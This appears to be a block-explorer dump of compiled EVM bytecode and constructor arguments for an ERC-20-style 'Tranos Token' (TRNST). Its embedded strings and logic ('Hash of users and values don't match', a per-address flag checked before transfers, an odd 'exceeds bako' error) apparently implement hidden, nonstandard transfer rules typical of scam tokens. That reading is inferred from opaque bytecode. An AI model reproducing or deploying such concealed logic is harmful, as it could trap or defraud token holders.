168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110cb9190612078565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90611fd8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111af90611ff8565b60405180910390fd5b6111c3838383611913565b6111ce838383611918565b611257816040518060400160405280601c81526020017f7472616e7366657220616d6f756e7420657863656564732062616b6f00000000815250600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113999092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112ec81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ea090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161138c9190612078565b60405180910390a3505050565b60008383111582906113e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d89190611f16565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b606060008273ffffffffffffffffffffffffffffffffffffffff1660001b905060006040518060400160405280601081526020017f303132333435363738396162636465660000000000000000000000000000000081525090506000602a67ffffffffffffffff81111561154f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156115815781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000816000815181106115df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611669577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060005b60148110156119075782600485600c846116b591906120ca565b602081106116ec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916901c60f81c60ff1681518110611751577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b8260028361176a9190612120565b600261177691906120ca565b815181106117ad577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082600f60f81b85600c846117f091906120ca565b60208110611827577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b1660f81c60ff1681518110611869577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b826002836118829190612120565b600361188e91906120ca565b815181106118c5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806118ff9061229c565b91505061169b565b50809350505050919050565b505050565b600061192384611ae3565b15611a4e5780600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197391906120ca565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600854905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a06919061217a565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611add565b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a99919061217a565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050565b600060011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515149050919050565b600081359050611b4f81612514565b92915050565b600081359050611b648161252b565b92915050565b600081359050611b7981612542565b92915050565b600060208284031215611b9157600080fd5b6000611b9f84828501611b40565b91505092915050565b60008060408385031215611bbb57600080fd5b6000611bc985828601611b40565b9250506020611bda85828601611b40565b9150509250929050565b600080600060608486031215611bf957600080fd5b6000611c0786828701611b40565b9350506020611c1886828701611b40565b9250506040611c2986828701611b6a565b9150509250925092565b600080600060608486031215611c4857600080fd5b6000611c5686828701611b40565b9350506020611c6786828701611b55565b9250506040611c7886828701611b6a565b9150509250925092565b60008060408385031215611c9557600080fd5b6000611ca385828601611b40565b9250506020611cb485828601611b6a565b9150509250929050565b600080600060608486031215611cd357600080fd5b6000611ce186828701611b40565b9350506020611cf286828701611b6a565b9250506040611d0386828701611b6a565b9150509250925092565b611d16816121e2565b82525050565b611d25816121f4565b82525050565b6000611d36826120ae565b611d4081856120b9565b9350611d50818560208601612237565b611d5981612343565b840191505092915050565b6000611d71600f836120b9565b9150611d7c82612354565b602082019050919050565b6000611d94601b836120b9565b9150611d9f8261237d565b602082019050919050565b6000611db7601d836120b9565b9150611dc2826123a6565b602082019050919050565b6000611dda6024836120b9565b9150611de5826123cf565b604082019050919050565b6000611dfd600c836120b9565b9150611e088261241e565b602082019050919050565b6000611e20601e836120b9565b9150611e2b82612447565b602082019050919050565b6000611e43601c836120b9565b9150611e4e82612470565b602082019050919050565b6000611e66600e836120b9565b9150611e7182612499565b602082019050919050565b6000611e89600e836120b9565b9150611e94826124c2565b602082019050919050565b6000611eac6020836120b9565b9150611eb7826124eb565b602082019050919050565b611ecb81612220565b82525050565b611eda8161222a565b82525050565b6000602082019050611ef56000830184611d0d565b92915050565b6000602082019050611f106000830184611d1c565b92915050565b60006020820190508181036000830152611f308184611d2b565b905092915050565b60006020820190508181036000830152611f5181611d64565b9050919050565b60006020820190508181036000830152611f7181611d87565b9050919050565b60006020820190508181036000830152611f9181611daa565b9050919050565b60006020820190508181036000830152611fb181611dcd565b9050919050565b60006020820190508181036000830152611fd181611df0565b9050919050565b60006020820190508181036000830152611ff181611e13565b9050919050565b6000602082019050818103600083015261201181611e36565b9050919050565b6000602082019050818103600083015261203181611e59565b9050919050565b6000602082019050818103600083015261205181611e7c565b9050919050565b6000602082019050818103600083015261207181611e9f565b9050919050565b600060208201905061208d6000830184611ec2565b92915050565b60006020820190506120a86000830184611ed1565b92915050565b600081519050919050565b600082825260208201905092915050565b60006120d582612220565b91506120e083612220565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612115576121146122e5565b5b828201905092915050565b600061212b82612220565b915061213683612220565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561216f5761216e6122e5565b5b828202905092915050565b600061218582612220565b915061219083612220565b9250828210156121a3576121a26122e5565b5b828203905092915050565b60006121b98261222a565b91506121c48361222a565b9250828210156121d7576121d66122e5565b5b828203905092915050565b60006121ed82612200565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561225557808201518184015260208101905061223a565b83811115612264576000848401525b50505050565b6000600282049050600182168061228257607f821691505b6020821081141561229657612295612314565b5b50919050565b60006122a782612220565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122da576122d96122e5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f617070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b7f617070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b7f48617368206f6620757365727320616e642076616c75657320646f6e2774206d60008201527f6174636800000000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420686173680000000000000000000000000000000000000000600082015250565b7f7472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b7f7472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f4d75737420686176652075736572000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b61251d816121e2565b811461252857600080fd5b50565b612534816121f4565b811461253f57600080fd5b50565b61254b81612220565b811461255657600080fd5b5056fe7472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122027f49a36a516bf7175eac3e20645d0576fc9ed261983fcea95399af2c4e8f8ea64736f6c63430008040033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000018621d9acc4294f79066f4ad71dc36ec1d7ce5380000000000000000000000000000000000000000000000000000000077359400000000000000000000000000000000000000000000000000000000000000000c5472616e6f7320546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000554524e5354000000000000000000000000000000000000000000000000000000

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610276578063b2f5e354146102a6578063dd62ed3e146102d6578063fb8bf94d14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636993b047146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f9190611f16565b60405180910390f35b610132600480360381019061012d9190611c82565b6103b4565b60405161013f9190611efb565b60405180910390f35b6101506103d2565b60405161015d9190612078565b60405180910390f35b610180600480360381019061017b9190611be4565b6103dc565b60405161018d9190611efb565b60405180910390f35b61019e6104b5565b6040516101ab9190612093565b60405180910390f35b6101ce60048036038101906101c99190611c82565b6104cc565b6040516101db9190611efb565b60405180910390f35b6101fe60048036038101906101f99190611cbe565b61057f565b005b61021a60048036038101906102159190611b7f565b610841565b6040516102279190612078565b60405180910390f35b61023861088a565b005b610242610912565b60405161024f9190611ee0565b60405180910390f35b61026061093b565b60405161026d9190611f16565b60405180910390f35b610290600480360381019061028b9190611c82565b6109cd565b60405161029d9190611efb565b60405180910390f35b6102c060048036038101906102bb9190611b7f565b6109eb565b6040516102cd9190612093565b60405180910390f35b6102f060048036038101906102eb9190611ba8565b610a6d565b6040516102fd9190612078565b60405180910390f35b610320600480360381019061031b9190611c33565b610af4565b005b6060600580546103319061226a565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061226a565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610eb6565b8484610ebe565b6001905092915050565b6000600854905090565b60006103e98484846110d8565b6104aa846103f5610eb6565b6104a58560405180606001604052806021815260200161255a60219139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610eb6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113999092919063ffffffff16565b610ebe565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006105756104d9610eb6565b8461057085600360006104ea610eb6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ea090919063ffffffff16565b610ebe565b6001905092915050565b6000339050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156105f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105eb90611f98565b60405180910390fd5b60008311610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e90611fb8565b60405180910390fd5b6000821161067a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067190612038565b60405180910390fd5b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561083a5780600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461075a919061217a565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083816107a991906120ca565b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107f691906120ca565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610892610eb6565b73ffffffffffffffffffffffffffffffffffffffff166108b0610912565b73ffffffffffffffffffffffffffffffffffffffff1614610906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fd90612058565b60405180910390fd5b61091060006113ee565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461094a9061226a565b80601f01602080910402602001604051908101604052809291908181526020018280546109769061226a565b80156109c35780601f10610998576101008083540402835291602001916109c3565b820191906000526020600020905b8154815290600101906020018083116109a657829003601f168201915b5050505050905090565b60006109e16109da610eb6565b84846110d8565b6001905092915050565b6000806109f7836114b2565b90506000819050600060308260018451610a11919061217a565b81518110610a48577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b60f81c610a6091906121ae565b9050809350505050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003390506000821015610b3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3490612018565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba490611f38565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d905782600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d2d91906120ca565b9250508190555083600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610e99565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e1891906120ca565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b60008183610eae91906120ca565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2590611f78565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9590611f58565b60405180910390fd5b6044610fa9836109eb565b60ff161415610fed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe490611f58565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110cb9190612078565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90611fd8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111af90611ff8565b60405180910390fd5b6111c3838383611913565b6111ce838383611918565b611257816040518060400160405280601c81526020017f7472616e7366657220616d6f756e7420657863656564732062616b6f00000000815250600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113999092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112ec81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ea090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161138c9190612078565b60405180910390a3505050565b60008383111582906113e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d89190611f16565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b606060008273ffffffffffffffffffffffffffffffffffffffff1660001b905060006040518060400160405280601081526020017f303132333435363738396162636465660000000000000000000000000000000081525090506000602a67ffffffffffffffff81111561154f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156115815781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000816000815181106115df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611669577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060005b60148110156119075782600485600c846116b591906120ca565b602081106116ec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916901c60f81c60ff1681518110611751577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b8260028361176a9190612120565b600261177691906120ca565b815181106117ad577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082600f60f81b85600c846117f091906120ca565b60208110611827577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b1660f81c60ff1681518110611869577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b826002836118829190612120565b600361188e91906120ca565b815181106118c5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806118ff9061229c565b91505061169b565b50809350505050919050565b505050565b600061192384611ae3565b15611a4e5780600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197391906120ca565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600854905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a06919061217a565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611add565b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a99919061217a565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050565b600060011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515149050919050565b600081359050611b4f81612514565b92915050565b600081359050611b648161252b565b92915050565b600081359050611b7981612542565b92915050565b600060208284031215611b9157600080fd5b6000611b9f84828501611b40565b91505092915050565b60008060408385031215611bbb57600080fd5b6000611bc985828601611b40565b9250506020611bda85828601611b40565b9150509250929050565b600080600060608486031215611bf957600080fd5b6000611c0786828701611b40565b9350506020611c1886828701611b40565b9250506040611c2986828701611b6a565b9150509250925092565b600080600060608486031215611c4857600080fd5b6000611c5686828701611b40565b9350506020611c6786828701611b55565b9250506040611c7886828701611b6a565b9150509250925092565b60008060408385031215611c9557600080fd5b6000611ca385828601611b40565b9250506020611cb485828601611b6a565b9150509250929050565b600080600060608486031215611cd357600080fd5b6000611ce186828701611b40565b9350506020611cf286828701611b6a565b9250506040611d0386828701611b6a565b9150509250925092565b611d16816121e2565b82525050565b611d25816121f4565b82525050565b6000611d36826120ae565b611d4081856120b9565b9350611d50818560208601612237565b611d5981612343565b840191505092915050565b6000611d71600f836120b9565b9150611d7c82612354565b602082019050919050565b6000611d94601b836120b9565b9150611d9f8261237d565b602082019050919050565b6000611db7601d836120b9565b9150611dc2826123a6565b602082019050919050565b6000611dda6024836120b9565b9150611de5826123cf565b604082019050919050565b6000611dfd600c836120b9565b9150611e088261241e565b602082019050919050565b6000611e20601e836120b9565b9150611e2b82612447565b602082019050919050565b6000611e43601c836120b9565b9150611e4e82612470565b602082019050919050565b6000611e66600e836120b9565b9150611e7182612499565b602082019050919050565b6000611e89600e836120b9565b9150611e94826124c2565b602082019050919050565b6000611eac6020836120b9565b9150611eb7826124eb565b602082019050919050565b611ecb81612220565b82525050565b611eda8161222a565b82525050565b6000602082019050611ef56000830184611d0d565b92915050565b6000602082019050611f106000830184611d1c565b92915050565b60006020820190508181036000830152611f308184611d2b565b905092915050565b60006020820190508181036000830152611f5181611d64565b9050919050565b60006020820190508181036000830152611f7181611d87565b9050919050565b60006020820190508181036000830152611f9181611daa565b9050919050565b60006020820190508181036000830152611fb181611dcd565b9050919050565b60006020820190508181036000830152611fd181611df0565b9050919050565b60006020820190508181036000830152611ff181611e13565b9050919050565b6000602082019050818103600083015261201181611e36565b9050919050565b6000602082019050818103600083015261203181611e59565b9050919050565b6000602082019050818103600083015261205181611e7c565b9050919050565b6000602082019050818103600083015261207181611e9f565b9050919050565b600060208201905061208d6000830184611ec2565b92915050565b60006020820190506120a86000830184611ed1565b92915050565b600081519050919050565b600082825260208201905092915050565b60006120d582612220565b91506120e083612220565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612115576121146122e5565b5b828201905092915050565b600061212b82612220565b915061213683612220565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561216f5761216e6122e5565b5b828202905092915050565b600061218582612220565b915061219083612220565b9250828210156121a3576121a26122e5565b5b828203905092915050565b60006121b98261222a565b91506121c48361222a565b9250828210156121d7576121d66122e5565b5b828203905092915050565b60006121ed82612200565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561225557808201518184015260208101905061223a565b83811115612264576000848401525b50505050565b6000600282049050600182168061228257607f821691505b6020821081141561229657612295612314565b5b50919050565b60006122a782612220565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122da576122d96122e5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f617070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b7f617070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b7f48617368206f6620757365727320616e642076616c75657320646f6e2774206d60008201527f6174636800000000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420686173680000000000000000000000000000000000000000600082015250565b7f7472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b7f7472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f4d75737420686176652075736572000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b61251d816121e2565b811461252857600080fd5b50565b612534816121f4565b811461253f57600080fd5b50565b61254b81612220565b811461255657600080fd5b5056fe7472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122027f49a36a516bf7175eac3e20645d0576fc9ed261983fcea95399af2c4e8f8ea64736f6c63430008040033

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000018621d9acc4294f79066f4ad71dc36ec1d7ce5380000000000000000000000000000000000000000000000000000000077359400000000000000000000000000000000000000000000000000000000000000000c5472616e6f7320546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000554524e5354000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : tname_ (string): Tranos Token
Arg [1] : tsymbol_ (string): TRNST
Arg [2] : trns_ (address): 0x18621d9Acc4294F79066F4Ad71dc36eC1d7Ce538
Arg [3] : totalSupply_ (uint256): 2000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 00000000000000000000000018621d9acc4294f79066f4ad71dc36ec1d7ce538
Arg [3] : 0000000000000000000000000000000000000000000000000000000077359400
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [5] : 5472616e6f7320546f6b656e0000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 54524e5354000000000000000000000000000000000000000000000000000000

